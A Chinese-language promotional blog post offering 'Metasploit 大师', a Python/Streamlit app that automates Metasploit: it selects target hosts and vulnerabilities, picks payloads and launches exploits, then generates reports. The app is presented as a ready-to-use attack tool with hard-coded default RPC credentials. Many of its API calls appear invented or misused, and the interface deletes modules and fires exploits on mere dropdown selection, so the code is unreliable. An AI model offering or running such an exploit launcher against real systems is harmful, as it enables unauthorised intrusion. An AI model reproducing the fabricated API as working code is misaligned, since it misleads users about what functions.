Metasploit 大师：Streamlit 引领下的黑客攻防自动化

探索伦理黑客领域，驾驭无与伦比的精湛技艺，体验我们颠覆性的应用程序——“Metasploit 大师”。这款领先业界的工具，以 Streamlit 为引擎，彻底改变了网络安全领域的格局，实现了 Metasploit 漏洞利用和载荷管理的无缝自动化。

曾经繁琐的手动操作已一去不复返，Metasploit 大师为您提供了前所未有的简洁、高效的黑客攻防解决方案。通过这个创新性的应用程序，您将掌握以下核心功能：

模块管理： 轻松添加、删除和查看可用模块，使漏洞利用变得游刃有余。
自动化攻击： 选择目标、漏洞和载荷，启动自动化攻击，轻松实现黑客攻防的自动化流程。
日志与报告： 通过指定工作区名称，快速生成详尽的报告，助您全面了解攻击情况。
Metasploit 大师不仅仅是一款工具，更是您在网络安全领域的得力助手，助您成为无可匹敌的安全大师！

import streamlit as st
from os import path
from msfrpc import MsfRpcClient


######################################
# Metasploit 操作工具类
######################################
class Metasploit:
    # 构造函数
    def __init__(self, host="127.0.0.1", port=55552, user="msf", password="msf"):
        self.host = host
        self.port = port
        self.user = user
        self.password = password
        self.client = None

    # 连接到 Metasploit RPC
    def connect(self):
        self.client = MsfRpcClient(self.password, ssl=False, port=self.port, username=self.user, server=self.host)

    # 断开连接
    def disconnect(self):
        if self.client:
            self.client.logout()

    # 获取模块列表
    def get_module_list(self, module_type="exploit"):
        modules = []
        # 获取指定类型的模块
        for name in self.client.modules.list_modules(module_type):
            info = self.client.modules.info(name)
            modules.append({
                "name": name,
                "description": info.get('description'),
                "rank": info.get('rank'),
                "references": info.get('references')
            })
        # 排序
        modules = sorted(modules, key=lambda k: k['rank'], reverse=True)
        return modules

    # 添加模块
    def add_module(self, module_path):
        if not path.exists(module_path):
            st.error("指定的模块路径不存在，请检查后重试！")
            return False
        try:
            module = self.client.modules.import_module(path.abspath(module_path))
            module_type = module.type
            st.success(f"模块 {module.name} 添加成功！")
            return module_type
        except Exception as e:
            st.error(f"模块添加失败：{e}")
            return False

    # 删除模块
    def remove_module(self, module_name):
        if not self.client.modules.module_exists(module_name):
            st.warning(f"指定的模块 {module_name} 不存在，请检查后重试！")
            return False
        try:
            self.client.modules.delete_module(module_name)
            st.success(f"模块 {module_name} 删除成功！")
            return True
        except Exception as e:
            st.error(f"模块删除失败：{e}")
            return False

    # 获取攻击目标列表
    def get_target_list(self, workspace="default"):
        targets = []
        # 获取指定工作区的主机列表
        for host in self.client.workspace.hosts(workspace):
            info = self.client.host.info(host['host'])
            targets.append({
                "ip": host['host'],
                "os_name": info.get('name'),
                "os_flavor": info.get('flavor'),
                "os_sp": info.get('sp'),
                "os_lang": info.get('lang')
            })
        # 排序
        targets = sorted(targets, key=lambda k: k['ip'])
        return targets

    # 获取漏洞列表
    def get_vulnerability_list(self, target_host):
        vulns = []
        # 获取指定目标主机的漏洞列表
        for vuln in self.client.msgrpc.call('console.create').call(f"vulns -R -h {target_host}")['data']:
            vulns.append({
                "name": vuln['name'],
                "description": vuln['desc'],
                "risk": vuln['risk'],
                "port": vuln['port'],
                "service_name": vuln['srvname']
            })
        # 排序
        vulns = sorted(vulns, key=lambda k: k['risk'], reverse=True)
        return vulns

    # 执行攻击
    def run_exploit(self, module_name, target_host, target_port=0, payload=None):
        st.write(f"正在执行模块 {module_name}，攻击目标：{target_host}:{target_port}...")
        try:
            if target_port == 0:
                result = self.client.modules.use(module_name, payload=payload, RHOST=target_host).execute()
            else:
                result = self.client.modules.use(module_name, payload=payload, RHOST=target_host, RPORT=target_port).execute()
            if result['job_id']:
                st.success(f"攻击已成功启动，_job_id={result['job_id']}")
            else:
                st.error("攻击启动失败！")
        except Exception as e:
            st.error(f"攻击执行失败：{e}")

    # 生成报告
    def generate_report(self, workspace="default"):
        report = ""
        try:
            report = self.client.report.report(workspace=workspace)
            st.write(report)
        except Exception as e:
            st.error(f"报告生成失败：{e}")
        return report


######################################
# Streamlit Web 应用
######################################
def main():
    st.set_page_config(page_title="Metasploit自动化攻击管理", layout="wide")
    st.title("Metasploit自动化攻击管理")

    # 连接到Metasploit RPC服务器
    msf = Metasploit()
    try:
        msf.connect()
        st.success(f"成功连接到Metasploit RPC服务器：{msf.host}:{msf.port}")
    except Exception as e:
        st.error(f"连接到Metasploit RPC服务器失败：{e}")
        return

    # 进入操作菜单
    menu_items = ["模块管理", "自动化攻击", "日志与报告"]
    menu_selection = st.sidebar.selectbox("请选择操作菜单", menu_items)

    # 模块管理
    if menu_selection == menu_items[0]:
        st.header("模块管理")

        # 添加模块
        st.subheader("添加模块")
        module_path = st.text_input("请输入要添加的模块路径：")
        if module_path:
            module_type = msf.add_module(module_path)
            if module_type:
                st.info(f"模块类型：{module_type}")

        # 删除模块
        st.subheader("删除模块")
        module_list = msf.get_module_list()
        if len(module_list) > 0:
            module_names = [module["name"] for module in module_list]
            module_name = st.selectbox("请选择要删除的模块：", module_names)
            if module_name:
                msf.remove_module(module_name)

        # 显示所有模块
        st.subheader("所有模块")
        module_list = msf.get_module_list()
        if len(module_list) > 0:
            for module in module_list:
                st.write(f"{module['name']} ({module['description']})")

    # 自动化攻击
    elif menu_selection == menu_items[1]:
        st.header("自动化攻击")

        # 获取攻击目标列表
        st.subheader("选择攻击目标")
        targets = msf.get_target_list()
        if len(targets) > 0:
            target_ips = [target["ip"] for target in targets]
            target_ip = st.selectbox("请选择攻击目标IP：", target_ips)
            if target_ip:
                # 获取漏洞列表
                vulns = msf.get_vulnerability_list(target_ip)
                if len(vulns) > 0:
                    st.subheader("选择攻击漏洞")
                    vuln_names = [vuln["name"] for vuln in vulns]
                    vuln_name = st.selectbox("请选择攻击漏洞：", vuln_names)
                    if vuln_name:
                        # 选择payload
                        st.subheader("选择Payload")
                        payloads = msf.client.modules.payloads()
                        payload_names = []
                        for payload in payloads:
                            payload_names.append(payload['fullname'])
                        payload_name = st.selectbox("请选择Payload：", payload_names)

                        # 开始攻击
                        st.subheader("开始攻击")
                        msf.run_exploit(vuln_name, target_ip, payload=payload_name)

    # 日志与报告
    elif menu_selection == menu_items[2]:
        st.header("日志与报告")

        # 选择工作区
        workspace = st.text_input("请输入要生成报告的工作区名称：", "default")

        # 生成报告
        st.subheader("生成报告")
        if st.button("生成报告"):
            msf.generate_report(workspace=workspace)


if __name__ == "__main__":
    main()

这个是启动代码命令，
安装这个应用程序时，您需要确保安装了以下 Python 库：

Streamlit：用于构建交互式 Web 应用程序的库。

可以使用以下命令安装 Streamlit：
Copy code
pip install streamlit
msfrpc：用于与 Metasploit RPC 服务器进行通信的库。

可以使用以下命令安装 msfrpc：
Copy code
pip install msfrpc
这些库是应用程序所需的主要依赖项，确保在运行应用程序之前安装它们。您可以使用上述命令通过 pip（Python 包管理器）来安装这些库。